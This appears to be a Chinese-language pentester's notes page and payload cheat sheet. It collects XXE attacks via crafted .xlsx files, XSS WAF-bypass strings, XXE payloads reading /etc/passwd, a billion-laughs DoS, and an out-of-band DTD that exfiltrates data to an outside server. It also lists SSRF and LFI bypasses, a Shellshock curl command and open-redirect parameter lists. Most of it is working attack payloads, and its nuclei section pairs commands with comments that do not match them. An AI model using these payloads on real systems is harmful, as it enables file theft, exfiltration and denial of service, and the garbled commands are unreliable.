xxe— hacking wite excel变种版

现在excel本质上就是一个包含xml文档的压缩文件,和docx,ppt一样,这就可以被称之为OOxml,即
office open xml

所以这有什么问题呢,就是说当我们要在某个地方允许上传这种ooxml的时候,如果没有安全配置器,那么这个存在xxe是必然的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/Desktop]
└─$ mkdir xml && cd xml

┌──(kali㉿kali)-[~/Desktop/xml]
└─$ unzip ../0.xlsx
Archive: ../0.xlsx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: docProps/app.xml
extracting: [trash]/0000.dat
inflating: xl/_rels/workbook.xml.rels
inflating: xl/styles.xml
inflating: xl/theme/theme1.xml
inflating: xl/workbook.xml
inflating: xl/worksheets/sheet1.xml
inflating: docProps/core.xml

创建一个崭新的excel,虽然你可能在里面键入一些文本,但这是无关紧要的,

要使用的攻击文件也会因为所使用的库而有所不同。大部分解析工作通常是从xl/workbook.xml开始的,这个文件包含了所有的工作表的信息,包括工作表的名称和位置。

各种工作表也可以在xl/worksheets目录下找到,这里的文件包含了工作表的内容,这些内容是以xml格式存储的。

所以我认为可以在这个文件中下功夫

—2025-1-7补充

其实后面我看了看别人的,不一定非要在workbook.xml,解压后的[Content_Types].xml也是可以下手

看了看佬的

1
2
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "dnslog的地址或者说你监听的地址/"> ]>
<x>&xxe;</x>

然后压缩为xslx上传

可以看看这篇
xxe-excel

ssrf-in-pdf

如果你访问的某个网站存在下列功能之一,那就可能存在ssrf了

1
2
3
4
打印pdf报告
生成报告文件
提交数字签名
····

因为都会生成pdf形式的文件,而里面的pdf解析器/js会获取其中数据并将其添加到网页页面中,

在 PDF HTML注入中利用SSRF

PDF解析器html/XSS 实现SSRF

IDOR

简单来说就是比如

1
https://insecure-website.com/customer_account?customer_number=132355

这个后面的132355就是idor,我们只需要更改后面的customer_number就可以绕过访问控制查看其它客户的记录

payload

xss

waf
1
2
3
<svg onload=alert&#0000000040document.cookie)> 
<svg/oNLY%3d1/**/On+ONLoaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NLZCA6KQ=="))>
WAF:
1
2
3
4
<details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
;window/*aabb*/['al'%2b'ert'](document./*aabb*/Location);
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//>

xxe

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
示例)
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
实体扩展 - DOS)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
远程攻击 - 通过外部 xml 包含
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>
UTF-7
1
2
3
4
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]>
<data>4</data>

File stored on http://publicServer.com/parameterEntity_sendftp.dtd

<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;

ssrf

1
2
3
4
5
http://0177.1/

http://127.000.000.1

http://0x7f.1/

如果是其他什么地址,可以用http://www.subnetmask.info/ 计算

伪协议

1
2
3
4
5
gopher://, 
dict://,
php://,
jar://,
tftp://

通配符

xip.io是一个提供通配符DNS解析的服务,它将域名中的IP地址部分解析为实际的IP地址

nip.io也是

1
2
3
4
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
1
2
3
4
5
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io

AWS EC2 元数据(一种信息泄露

1
2
3
http://x.x.x.x/latest/meta-data/
http://x.x.x.x/latest/user-data/local-hostname
http://x.x.x.x/latest/user-data/public-hostname

LFI

1
2
3
4
5
6
7
8
9
10
../\

..\/

/..

\/..

/%5c..

rce

Werkzeug 调试器

1
2

strіng
1
2
3
4
5
6
7
8
9
10
11
12
13
14
i'''d
i"""d

\l\s -l\a\h

cat /e?c/p?ss??
cat /e??/??ss*

{ls,}
{ls,-a}

壳震漏洞
() { :;}; echo vulnerable
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

打开重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/%09/google.com


/%5cgoogle.com


//www.google.com/%2f%2e%2e


//www.google.com/%2e%2e


//google.com/


//google.com/%2f..


//\google.com

/\victim.com:80%40google.com
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
?url=http://{target}


?url=https://{target}


?next=http://{target}


?next=https://{target}


?url=https://{target}


?url=http://{target}


?url=//{target}


?url=$2f%2f{target}


?next=//{target}


?next=$2f%2f{target}


?url=//{target}


?url=$2f%2f{target}


?url=//{target}


/redirect/{target}


/cgi-bin/redirect.cgi?{target}


/out/{target}


/out?{target}


/out?/{target}


/out?//{target}


/out?/\{target}


/out?///{target}


?view={target}


?view=/{target}


?view=//{target}


?view=/\{target}


?view=///{target}


/login?to={target}


/login?to=/{target}


/login?to=//{target}


/login?to=/\{target}


/login?to=///{target}

nuclei 使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 显示帮助信息
nuclei -h

# 显示 Nuclei 的当前版本
nuclei -version

# 从文件中加载目标列表
nuclei -l targets.txt -t ~/nuclei-templates/

# 指定单个目标进行测试
nuclei -t https://example.com -t ~/nuclei-templates/

# 以静默模式运行 Nuclei(抑制输出)
nuclei -u https://example.com -t ~/nuclei-templates/

# 指定使用的并发线程数
nuclei -silent -t https://example.com -t ~/nuclei-templates/

# 跳过需要身份验证的模板
nuclei -c 10 -t https://example.com -t ~/nuclei-templates/

# 自定义 Nuclei 报告的输出格式
nuclei -no-verify -t https://example.com -t ~/nuclei-templates/

# 忽略 SSL 证书错误
nuclei -o output.txt -t https://example.com -t ~/nuclei-templates/

# 指定自定义 HTTP 头包含在请求中
nuclei -insecure -t https://example.com -t ~/nuclei-templates/

# 指定自定义用户代理字符串包含在请求中
nuclei -headers "Authorization: Bearer TOKEN" -t https://example.com -t ~/nuclei-templates/

nuclei -user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" -t https://example.com -t ~/nuclei-templates/

重定向

额,应该叫开放式重定向

怎么说呢,就是让页面跳转到攻击的页面,比方说

as
1
2
3
4
https://vulnerable-website.com/redirect?url=https://malicious-website.com


https://vulnerable-website.com/profile?redirect_uri=https://malicious-website.com

这就是重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
?redirect_url= 

?next=

?continue=

?goto=

?return_Url=

?destination=

?fromURI=

?redirect=

?go=

?from=

?return=

?rurl=

?checkout_url=

开放式重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
redirect

redirect_to

redirect_url

redirectUrl

callback

toUrl

fromUrl

request

oauth_callback

url

go

jump

jump_to

target

service

to

returnUrl

goTo

link

linkto

domain

return

locationUrl

r_url

如果是黑盒可以考虑open-redirect

白盒的话可以参考

1
response.sendRedirect(request.getParameter("url"));

1
2
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

1
2
string url = request.QueryString["url"];
Response.Redirect(url);

1
redirect_to params[:url]

1
redirect_url = request.GET.get("url")HttpResponseRedirect(redirect_url)

1
redirect\_url = request.form\['url'\] redirect(redirect\_url)

绕过方法的话请参考这篇URL重定向漏洞解析 ,师傅写的很详细了